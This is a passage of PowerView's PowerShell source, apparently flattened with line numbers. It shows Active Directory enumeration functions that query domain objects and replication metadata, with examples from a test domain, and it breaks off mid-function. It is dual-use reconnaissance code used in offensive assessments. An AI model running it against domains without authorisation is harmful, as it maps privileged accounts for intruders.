4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). 6384 Wildcards accepted. 6385 6386 .PARAMETER UACFilter 6387 6388 Dynamic parameter that accepts one or more values from $UACEnum, including 6389 "NOT_X" negation forms. To see all possible values, run '0|ConvertFrom-UACValue -ShowAll'. 6390 6391 .PARAMETER Domain 6392 6393 Specifies the domain to use for the query, defaults to the current domain. 6394 6395 .PARAMETER LDAPFilter 6396 6397 Specifies an LDAP query string that is used to filter Active Directory objects. 6398 6399 .PARAMETER Properties 6400 6401 Specifies the properties of the output object to retrieve from the server. 6402 6403 .PARAMETER SearchBase 6404 6405 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" 6406 Useful for OU queries. 6407 6408 .PARAMETER Server 6409 6410 Specifies an Active Directory server (domain controller) to bind to. 6411 6412 .PARAMETER SearchScope 6413 6414 Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). 6415 6416 .PARAMETER ResultPageSize 6417 6418 Specifies the PageSize to set for the LDAP searcher object. 6419 6420 .PARAMETER ServerTimeLimit 6421 6422 Specifies the maximum amount of time the server spends searching. Default of 120 seconds. 6423 6424 .PARAMETER SecurityMasks 6425 6426 Specifies an option for examining security information of a directory object. 6427 One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. 6428 6429 .PARAMETER Tombstone 6430 6431 Switch. Specifies that the searcher should also return deleted/tombstoned objects. 6432 6433 .PARAMETER FindOne 6434 6435 Only return one result object. 6436 6437 .PARAMETER Credential 6438 6439 A [Management.Automation.PSCredential] object of alternate credentials 6440 for connection to the target domain. 6441 6442 .PARAMETER Raw 6443 6444 Switch. Return raw results instead of translating the fields into a custom PSObject. 6445 6446 .EXAMPLE 6447 6448 Get-DomainObject -Domain testlab.local 6449 6450 Return all objects for the testlab.local domain 6451 6452 .EXAMPLE 6453 6454 'S-1-5-21-890171859-3433809279-3366196753-1003', 'CN=dfm,CN=Users,DC=testlab,DC=local','b6a9a2fb-bbd5-4f28-9a09-23213cea6693','dfm.a' | Get-DomainObject -Properties distinguishedname 6455 6456 distinguishedname 6457 ----------------- 6458 CN=PRIMARY,OU=Domain Controllers,DC=testlab,DC=local 6459 CN=dfm,CN=Users,DC=testlab,DC=local 6460 OU=OU3,DC=testlab,DC=local 6461 CN=dfm (admin),CN=Users,DC=testlab,DC=local 6462 6463 .EXAMPLE 6464 6465 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 6466 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) 6467 Get-DomainObject -Credential $Cred -Identity 'windows1' 6468 6469 .EXAMPLE 6470 6471 Get-Domain | Select-Object -Expand name 6472 testlab.local 6473 6474 'testlab\harmj0y','DEV\Domain Admins' | Get-DomainObject -Verbose -Properties distinguishedname 6475 VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local 6476 VERBOSE: [Get-DomainUser] Extracted domain 'testlab.local' from 'testlab\harmj0y' 6477 VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local 6478 VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(samAccountName=harmj0y))) 6479 6480 distinguishedname 6481 ----------------- 6482 CN=harmj0y,CN=Users,DC=testlab,DC=local 6483 VERBOSE: [Get-DomainUser] Extracted domain 'dev.testlab.local' from 'DEV\Domain Admins' 6484 VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local 6485 VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(samAccountName=Domain Admins))) 6486 CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local 6487 6488 .OUTPUTS 6489 6490 PowerView.ADObject 6491 6492 Custom PSObject with translated AD object property fields. 6493 6494 PowerView.ADObject.Raw 6495 6496 The raw DirectoryServices.SearchResult object, if -Raw is enabled. 6497 #> 6498 6499 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] 6500 [OutputType('PowerView.ADObject')] 6501 [OutputType('PowerView.ADObject.Raw')] 6502 [CmdletBinding()] 6503 Param( 6504 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 6505 [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] 6506 [String[]] 6507 $Identity, 6508 6509 [ValidateNotNullOrEmpty()] 6510 [String] 6511 $Domain, 6512 6513 [ValidateNotNullOrEmpty()] 6514 [Alias('Filter')] 6515 [String] 6516 $LDAPFilter, 6517 6518 [ValidateNotNullOrEmpty()] 6519 [String[]] 6520 $Properties, 6521 6522 [ValidateNotNullOrEmpty()] 6523 [Alias('ADSPath')] 6524 [String] 6525 $SearchBase, 6526 6527 [ValidateNotNullOrEmpty()] 6528 [Alias('DomainController')] 6529 [String] 6530 $Server, 6531 6532 [ValidateSet('Base', 'OneLevel', 'Subtree')] 6533 [String] 6534 $SearchScope = 'Subtree', 6535 6536 [ValidateRange(1, 10000)] 6537 [Int] 6538 $ResultPageSize = 200, 6539 6540 [ValidateRange(1, 10000)] 6541 [Int] 6542 $ServerTimeLimit, 6543 6544 [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] 6545 [String] 6546 $SecurityMasks, 6547 6548 [Switch] 6549 $Tombstone, 6550 6551 [Alias('ReturnOne')] 6552 [Switch] 6553 $FindOne, 6554 6555 [Management.Automation.PSCredential] 6556 [Management.Automation.CredentialAttribute()] 6557 $Credential = [Management.Automation.PSCredential]::Empty, 6558 6559 [Switch] 6560 $Raw 6561 ) 6562 6563 DynamicParam { 6564 $UACValueNames = [Enum]::GetNames($UACEnum) 6565 # add in the negations 6566 $UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"} 6567 # create new dynamic parameter 6568 New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array]) 6569 } 6570 6571 BEGIN { 6572 $SearcherArguments = @{} 6573 if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } 6574 if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } 6575 if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } 6576 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } 6577 if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } 6578 if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } 6579 if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } 6580 if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } 6581 if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } 6582 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } 6583 $ObjectSearcher = Get-DomainSearcher @SearcherArguments 6584 } 6585 6586 PROCESS { 6587 #bind dynamic parameter to a friendly variable 6588 if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) { 6589 New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters 6590 } 6591 if ($ObjectSearcher) { 6592 $IdentityFilter = '' 6593 $Filter = '' 6594 $Identity | Where-Object {$_} | ForEach-Object { 6595 $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') 6596 if ($IdentityInstance -match '^S-1-') { 6597 $IdentityFilter += "(objectsid=$IdentityInstance)" 6598 } 6599 elseif ($IdentityInstance -match '^(CN|OU|DC)=') { 6600 $IdentityFilter += "(distinguishedname=$IdentityInstance)" 6601 if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { 6602 # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname 6603 # and rebuild the domain searcher 6604 $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' 6605 Write-Verbose "[Get-DomainObject] Extracted domain '$IdentityDomain' from '$IdentityInstance'" 6606 $SearcherArguments['Domain'] = $IdentityDomain 6607 $ObjectSearcher = Get-DomainSearcher @SearcherArguments 6608 if (-not $ObjectSearcher) { 6609 Write-Warning "[Get-DomainObject] Unable to retrieve domain searcher for '$IdentityDomain'" 6610 } 6611 } 6612 } 6613 elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { 6614 $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' 6615 $IdentityFilter += "(objectguid=$GuidByteString)" 6616 } 6617 elseif ($IdentityInstance.Contains('\')) { 6618 $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical 6619 if ($ConvertedIdentityInstance) { 6620 $ObjectDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/')) 6621 $ObjectName = $IdentityInstance.Split('\')[1] 6622 $IdentityFilter += "(samAccountName=$ObjectName)" 6623 $SearcherArguments['Domain'] = $ObjectDomain 6624 Write-Verbose "[Get-DomainObject] Extracted domain '$ObjectDomain' from '$IdentityInstance'" 6625 $ObjectSearcher = Get-DomainSearcher @SearcherArguments 6626 } 6627 } 6628 elseif ($IdentityInstance.Contains('.')) { 6629 $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))" 6630 } 6631 else { 6632 $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(displayname=$IdentityInstance))" 6633 } 6634 } 6635 if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { 6636 $Filter += "(|$IdentityFilter)" 6637 } 6638 6639 if ($PSBoundParameters['LDAPFilter']) { 6640 Write-Verbose "[Get-DomainObject] Using additional LDAP filter: $LDAPFilter" 6641 $Filter += "$LDAPFilter" 6642 } 6643 6644 # build the LDAP filter for the dynamic UAC filter value 6645 $UACFilter | Where-Object {$_} | ForEach-Object { 6646 if ($_ -match 'NOT_.*') { 6647 $UACField = $_.Substring(4) 6648 $UACValue = [Int]($UACEnum::$UACField) 6649 $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))" 6650 } 6651 else { 6652 $UACValue = [Int]($UACEnum::$_) 6653 $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)" 6654 } 6655 } 6656 6657 if ($Filter -and $Filter -ne '') { 6658 $ObjectSearcher.filter = "(&$Filter)" 6659 } 6660 Write-Verbose "[Get-DomainObject] Get-DomainObject filter string: $($ObjectSearcher.filter)" 6661 6662 if ($PSBoundParameters['FindOne']) { $Results = $ObjectSearcher.FindOne() } 6663 else { $Results = $ObjectSearcher.FindAll() } 6664 $Results | Where-Object {$_} | ForEach-Object { 6665 if ($PSBoundParameters['Raw']) { 6666 # return raw result objects 6667 $Object = $_ 6668 $Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject.Raw') 6669 } 6670 else { 6671 $Object = Convert-LDAPProperty -Properties $_.Properties 6672 $Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject') 6673 } 6674 $Object 6675 } 6676 if ($Results) { 6677 try { $Results.dispose() } 6678 catch { 6679 Write-Verbose "[Get-DomainObject] Error disposing of the Results object: $_" 6680 } 6681 } 6682 $ObjectSearcher.dispose() 6683 } 6684 } 6685 } 6686 6687 6688 function Get-DomainObjectAttributeHistory { 6689 <# 6690 .SYNOPSIS 6691 6692 Returns the Active Directory attribute replication metadata for the specified 6693 object, i.e. a parsed version of the msds-replattributemetadata attribute. 6694 By default, replication data for every domain object is returned. 6695 6696 Author: Will Schroeder (@harmj0y) 6697 License: BSD 3-Clause 6698 Required Dependencies: Get-DomainObject 6699 6700 .DESCRIPTION 6701 6702 Wraps Get-DomainObject with a specification to retrieve the property 'msds-replattributemetadata'. 6703 This is the domain attribute replication metadata associated with the object. The results are 6704 parsed from their XML string form and returned as a custom object. 6705 6706 .PARAMETER Identity 6707 6708 A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), 6709 SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). 6710 Wildcards accepted. 6711 6712 .PARAMETER Domain 6713 6714 Specifies the domain to use for the query, defaults to the current domain. 6715 6716 .PARAMETER LDAPFilter 6717 6718 Specifies an LDAP query string that is used to filter Active Directory objects. 6719 6720 .PARAMETER Properties 6721 6722 Only return replication metadata on the specified property names. 6723 6724 .PARAMETER SearchBase 6725 6726 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" 6727 Useful for OU queries. 6728 6729 .PARAMETER Server 6730 6731 Specifies an Active Directory server (domain controller) to bind to. 6732 6733 .PARAMETER SearchScope 6734 6735 Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). 6736 6737 .PARAMETER ResultPageSize 6738 6739 Specifies the PageSize to set for the LDAP searcher object. 6740 6741 .PARAMETER ServerTimeLimit 6742 6743 Specifies the maximum amount of time the server spends searching. Default of 120 seconds. 6744 6745 .PARAMETER Tombstone 6746 6747 Switch. Specifies that the searcher should also return deleted/tombstoned objects. 6748 6749 .PARAMETER Credential 6750 6751 A [Management.Automation.PSCredential] object of alternate credentials 6752 for connection to the target domain. 6753 6754 .EXAMPLE 6755 6756 Get-DomainObjectAttributeHistory -Domain testlab.local 6757 6758 Return all attribute replication metadata for all objects in the testlab.local domain. 6759 6760 .EXAMPLE 6761 6762 'S-1-5-21-883232822-274137685-4173207997-1109','CN=dfm.a,CN=Users,DC=testlab,DC=local','da','94299db1-e3e7-48f9-845b-3bffef8bedbb' | Get-DomainObjectAttributeHistory -Properties objectClass | ft 6763 6764 ObjectDN ObjectGuid AttributeNam LastOriginat Version LastOriginat 6765 e ingChange ingDsaDN 6766 -------- ---------- ------------ ------------ ------- ------------ 6767 CN=dfm.a,C... a6263874-f... objectClass 2017-03-0... 1 CN=NTDS S... 6768 CN=DA,CN=U... 77b56df4-f... objectClass 2017-04-1... 1 CN=NTDS S... 6769 CN=harmj0y... 94299db1-e... objectClass 2017-03-0... 1 CN=NTDS S... 6770 6771 .EXAMPLE 6772 6773 Get-DomainObjectAttributeHistory harmj0y -Properties userAccountControl 6774 6775 ObjectDN : CN=harmj0y,CN=Users,DC=testlab,DC=local 6776 ObjectGuid : 94299db1-e3e7-48f9-845b-3bffef8bedbb 6777 AttributeName : userAccountControl 6778 LastOriginatingChange : 2017-03-07T19:56:27Z 6779 Version : 4 6780 LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First 6781 -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca 6782 l 6783 6784 .OUTPUTS 6785 6786 PowerView.ADObjectAttributeHistory 6787 6788 Custom PSObject with translated replication metadata fields. 6789 6790 .LINK 6791 6792 https://blogs.technet.microsoft.com/pie/2014/08/25/metadata-1-when-did-the-delegation-change-how-to-track-security-descriptor-modifications/ 6793 #> 6794 6795 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] 6796 [OutputType('PowerView.ADObjectAttributeHistory')] 6797 [CmdletBinding()] 6798 Param( 6799 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 6800 [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] 6801 [String[]] 6802 $Identity, 6803 6804 [ValidateNotNullOrEmpty()] 6805 [String] 6806 $Domain, 6807 6808 [ValidateNotNullOrEmpty()] 6809 [Alias('Filter')] 6810 [String] 6811 $LDAPFilter, 6812 6813 [ValidateNotNullOrEmpty()] 6814 [String[]] 6815 $Properties, 6816 6817 [ValidateNotNullOrEmpty()] 6818 [Alias('ADSPath')] 6819 [String] 6820 $SearchBase, 6821 6822 [ValidateNotNullOrEmpty()] 6823 [Alias('DomainController')] 6824 [String] 6825 $Server, 6826 6827 [ValidateSet('Base', 'OneLevel', 'Subtree')] 6828 [String] 6829 $SearchScope = 'Subtree', 6830 6831 [ValidateRange(1, 10000)] 6832 [Int] 6833 $ResultPageSize = 200, 6834 6835 [ValidateRange(1, 10000)] 6836 [Int] 6837 $ServerTimeLimit, 6838 6839 [Switch] 6840 $Tombstone, 6841 6842 [Management.Automation.PSCredential] 6843 [Management.Automation.CredentialAttribute()] 6844 $Credential = [Management.Automation.PSCredential]::Empty, 6845 6846 [Switch] 6847 $Raw 6848 ) 6849 6850 BEGIN { 6851 $SearcherArguments = @{ 6852 'Properties' = 'msds-replattributemetadata','distinguishedname' 6853 'Raw' = $True 6854 } 6855 if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } 6856 if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } 6857 if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } 6858 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } 6859 if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } 6860 if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } 6861 if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } 6862 if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } 6863 if ($PSBoundParameters['FindOne']) { $SearcherArguments['FindOne'] = $FindOne } 6864 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } 6865 6866 if ($PSBoundParameters['Properties']) { 6867 $PropertyFilter = $PSBoundParameters['Properties'] -Join '|' 6868 } 6869 else { 6870 $PropertyFilter = '' 6871 } 6872 } 6873 6874 PROCESS { 6875 if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity } 6876 6877 Get-DomainObject @SearcherArguments | ForEach-Object { 6878 $ObjectDN = $_.Properties['distinguishedname'][0] 6879 ForEach($XMLNode in $_.Properties['msds-replattributemetadata']) { 6880 $TempObject = [xml]$XMLNode | Select-Object -ExpandProperty 'DS_REPL_ATTR_META_DATA' -ErrorAction SilentlyContinue 6881 if ($TempObject) { 6882 if ($TempObject.pszAttributeName -Match $PropertyFilter) { 6883 $Output = New-Object PSObject 6884 $Output | Add-Member NoteProperty 'ObjectDN' $ObjectDN 6885 $Output | Add-Member NoteProperty 'AttributeName' $TempObject.pszAttributeName 6886 $Output | Add-Member NoteProperty 'LastOriginatingChange' $TempObject.ftimeLastOriginatingChange 6887 $Output | Add-Member NoteProperty 'Version' $TempObject.dwVersion 6888 $Output | Add-Member NoteProperty 'LastOriginatingDsaDN' $TempObject.pszLastOriginatingDsaDN 6889 $Output.PSObject.TypeNames.Insert(0, 'PowerView.ADObjectAttributeHistory') 6890 $Output 6891 } 6892 } 6893 else { 6894 Write-Verbose "[Get-DomainObjectAttributeHistory] Error retrieving 'msds-replattributemetadata' for '$ObjectDN'" 6895 } 6896 } 6897 } 6898 } 6899 } 6900 6901 6902 function Get-DomainObjectLinkedAttributeHistory { 6903 <# 6904 .SYNOPSIS 6905 6906 Returns the Active Directory links attribute value replication metadata for the 6907 specified object, i.e. a parsed version of the msds-replvaluemetadata attribute. 6908 By default, replication data for every domain object is returned. 6909 6910 Author: Will Schroeder (@harmj0y) 6911 License: BSD 3-Clause 6912 Required Dependencies: Get-DomainObject 6913 6914 .DESCRIPTION 6915 6916 Wraps Get-DomainObject with a specification to retrieve the property 'msds-replvaluemetadata'. 6917 This is the domain linked attribute value replication metadata associated with the object. The 6918 results are parsed from their XML string form and returned as a custom object. 6919 6920 .PARAMETER Identity 6921 6922 A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), 6923 SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). 6924 Wildcards accepted. 6925 6926 .PARAMETER Domain 6927 6928 Specifies the domain to use for the query, defaults to the current domain. 6929 6930 .PARAMETER LDAPFilter 6931 6932 Specifies an LDAP query string that is used to filter Active Directory objects. 6933 6934 .PARAMETER Properties 6935 6936 Only return replication metadata on the specified property names. 6937 6938 .PARAMETER SearchBase 6939 6940 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" 6941 Useful for OU queries. 6942 6943 .PARAMETER Server 6944 6945 Specifies an Active Directory server (domain controller) to bind to. 6946 6947 .PARAMETER SearchScope 6948 6949 Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). 6950 6951 .PARAMETER ResultPageSize 6952 6953 Specifies the PageSize to set for the LDAP searcher object. 6954 6955 .PARAMETER ServerTimeLimit 6956 6957 Specifies the maximum amount of time the server spends searching. Default of 120 seconds. 6958 6959 .PARAMETER Tombstone 6960 6961 Switch. Specifies that the searcher should also return deleted/tombstoned objects. 6962 6963 .PARAMETER Credential 6964 6965 A [Management.Automation.PSCredential] object of alternate credentials 6966 for connection to the target domain. 6967 6968 .EXAMPLE 6969 6970 Get-DomainObjectLinkedAttributeHistory | Group-Object ObjectDN | ft -a 6971 6972 Count Name 6973 ----- ---- 6974 4 CN=Administrators,CN=Builtin,DC=testlab,DC=local 6975 4 CN=Users,CN=Builtin,DC=testlab,DC=local 6976 2 CN=Guests,CN=Builtin,DC=testlab,DC=local 6977 1 CN=IIS_IUSRS,CN=Builtin,DC=testlab,DC=local 6978 1 CN=Schema Admins,CN=Users,DC=testlab,DC=local 6979 1 CN=Enterprise Admins,CN=Users,DC=testlab,DC=local 6980 4 CN=Domain Admins,CN=Users,DC=testlab,DC=local 6981 1 CN=Group Policy Creator Owners,CN=Users,DC=testlab,DC=local 6982 1 CN=Pre-Windows 2000 Compatible Access,CN=Builtin,DC=testlab,DC=local 6983 1 CN=Windows Authorization Access Group,CN=Builtin,DC=testlab,DC=local 6984 8 CN=Denied RODC Password Replication Group,CN=Users,DC=testlab,DC=local 6985 2 CN=PRIMARY,CN=Topology,CN=Domain System Volume,CN=DFSR-GlobalSettings,... 6986 1 CN=Domain System Volume,CN=DFSR-LocalSettings,CN=PRIMARY,OU=Domain Con... 6987 1 CN=ServerAdmins,CN=Users,DC=testlab,DC=local 6988 3 CN=DomainLocalGroup,CN=Users,DC=testlab,DC=local 6989 6990 6991 .EXAMPLE 6992 6993 'S-1-5-21-883232822-274137685-4173207997-519','af94f49e-61a5-4f7d-a17c-d80fb16a5220' | Get-DomainObjectLinkedAttributeHistory 6994 6995 ObjectDN : CN=Enterprise Admins,CN=Users,DC=testlab,DC=local 6996 ObjectGuid : 94e782c1-16a1-400b-a7d0-1126038c6387 6997 AttributeName : member 6998 AttributeValue : CN=Administrator,CN=Users,DC=testlab,DC=local 6999 TimeDeleted : 2017-03-06T00:48:29Z 7000 TimeCreated : 2017-03-06T00:48:29Z 7001 LastOriginatingChange : 2017-03-06T00:48:29Z 7002 Version : 1 7003 LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First 7004 -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca 7005 l 7006 7007 ObjectDN : CN=Domain Admins,CN=Users,DC=testlab,DC=local 7008 ObjectGuid : af94f49e-61a5-4f7d-a17c-d80fb16a5220 7009 AttributeName : member 7010 AttributeValue : CN=dfm,CN=Users,DC=testlab,DC=local 7011 TimeDeleted : 2017-06-13T22:20:02Z 7012 TimeCreated : 2017-06-13T22:20:02Z 7013 LastOriginatingChange : 2017-06-13T22:20:22Z 7014 Version : 2 7015 LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First 7016 -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca 7017 l 7018 7019 ObjectDN : CN=Domain Admins,CN=Users,DC=testlab,DC=local 7020 ObjectGuid : af94f49e-61a5-4f7d-a17c-d80fb16a5220 7021 AttributeName : member 7022 AttributeValue : CN=Administrator,CN=Users,DC=testlab,DC=local 7023 TimeDeleted : 2017-03-06T00:48:29Z 7024 TimeCreated : 2017-03-06T00:48:29Z 7025 LastOriginatingChange : 2017-03-06T00:48:29Z 7026 Version : 1 7027 LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First 7028 -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca 7029 l 7030 7031 .EXAMPLE 7032 7033 Get-DomainObjectLinkedAttributeHistory ServerAdmins -Domain testlab.local 7034 7035 ObjectDN : CN=ServerAdmins,CN=Users,DC=testlab,DC=local 7036 ObjectGuid : 603b46ad-555c-49b3-8745-c0718febefc2 7037 AttributeName : member 7038 AttributeValue : CN=jason.a,CN=Users,DC=dev,DC=testlab,DC=local 7039 TimeDeleted : 2017-04-10T22:17:19Z 7040 TimeCreated : 2017-04-10T22:17:19Z 7041 LastOriginatingChange : 2017-04-10T22:17:19Z 7042 Version : 1 7043 LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First 7044 -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca 7045 l 7046 7047 .OUTPUTS 7048 7049 PowerView.ADObjectLinkedAttributeHistory 7050 7051 Custom PSObject with translated replication metadata fields. 7052 7053 .LINK 7054 7055 https://blogs.technet.microsoft.com/pie/2014/08/25/metadata-2-the-ephemeral-admin-or-how-to-track-the-group-membership/ 7056 #> 7057 7058 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] 7059 [OutputType('PowerView.ADObjectLinkedAttributeHistory')] 7060 [CmdletBinding()] 7061 Param( 7062 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 7063 [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] 7064 [String[]] 7065 $Identity, 7066 7067 [ValidateNotNullOrEmpty()] 7068 [String] 7069 $Domain, 7070 7071 [ValidateNotNullOrEmpty()] 7072 [Alias('Filter')] 7073 [String] 7074 $LDAPFilter, 7075 7076 [ValidateNotNullOrEmpty()] 7077 [String[]] 7078 $Properties, 7079 7080 [ValidateNotNullOrEmpty()] 7081 [Alias('ADSPath')] 7082 [String] 7083 $SearchBase, 7084 7085 [ValidateNotNullOrEmpty()] 7086 [Alias('DomainController')] 7087 [String] 7088 $Server, 7089 7090 [ValidateSet('Base', 'OneLevel', 'Subtree')] 7091 [String] 7092 $SearchScope = 'Subtree', 7093 7094 [ValidateRange(1, 10000)] 7095 [Int] 7096 $ResultPageSize = 200, 7097 7098 [ValidateRange(1, 10000)] 7099 [Int] 7100 $ServerTimeLimit, 7101 7102 [Switch] 7103 $Tombstone, 7104 7105 [Management.Automation.PSCredential] 7106 [Management.Automation.CredentialAttribute()] 7107 $Credential = [Management.Automation.PSCredential]::Empty, 7108 7109 [Switch] 7110 $Raw 7111 ) 7112 7113 BEGIN { 7114 $SearcherArguments = @{ 7115 'Properties' = 'msds-replvaluemetadata','distinguishedname' 7116 'Raw' = $True 7117 } 7118 if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } 7119 if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } 7120 if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } 7121 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } 7122 if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } 7123 if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } 7124 if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } 7125 if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } 7126 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } 7127 7128 if ($PSBoundParameters['Properties']) { 7129 $PropertyFilter = $PSBoundParameters['Properties'] -Join '|' 7130 } 7131 else { 7132 $PropertyFilter = '' 7133 } 7134 } 7135 7136 PROCESS { 7137 if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity } 7138 7139 Get-DomainObject @SearcherArguments | ForEach-Object { 7140 $ObjectDN = $_.Properties['distinguishedname'][0] 7141 ForEach($XMLNode in $_.Properties['msds-replvaluemetadata']) { 7142 $TempObject = [xml]$XMLNode | Select-Object -ExpandProperty 'DS_REPL_VALUE_META_DATA' -ErrorAction SilentlyContinue 7143 if ($TempObject) { 7144 if ($TempObject.pszAttributeName -Match $PropertyFilter) { 7145 $Output = New-Object PSObject 7146 $Output | Add-Member NoteProperty 'ObjectDN' $ObjectDN 7147 $Output | Add-Member NoteProperty 'AttributeName' $TempObject.pszAttributeName 7148 $Output | Add-Member NoteProperty 'AttributeValue' $TempObject.pszObjectDn 7149 $Output | Add-Member NoteProperty 'TimeCreated' $TempObject.ftimeCreated 7150 $Output | Add-Member NoteProperty 'TimeDeleted' $TempObject.ftimeDeleted 7151 $Output | Add-Member NoteProperty 'LastOriginatingChange' $TempObject.ftimeLastOriginatingChange 7152 $Output | Add-Member NoteProperty 'Version' $TempObject.dwVersion 7153 $Output | Add-Member NoteProperty 'LastOriginatingDsaDN' $TempObject.pszLastOriginatingDsaDN 7154 $Output.PSObject.TypeNames.Insert(0, 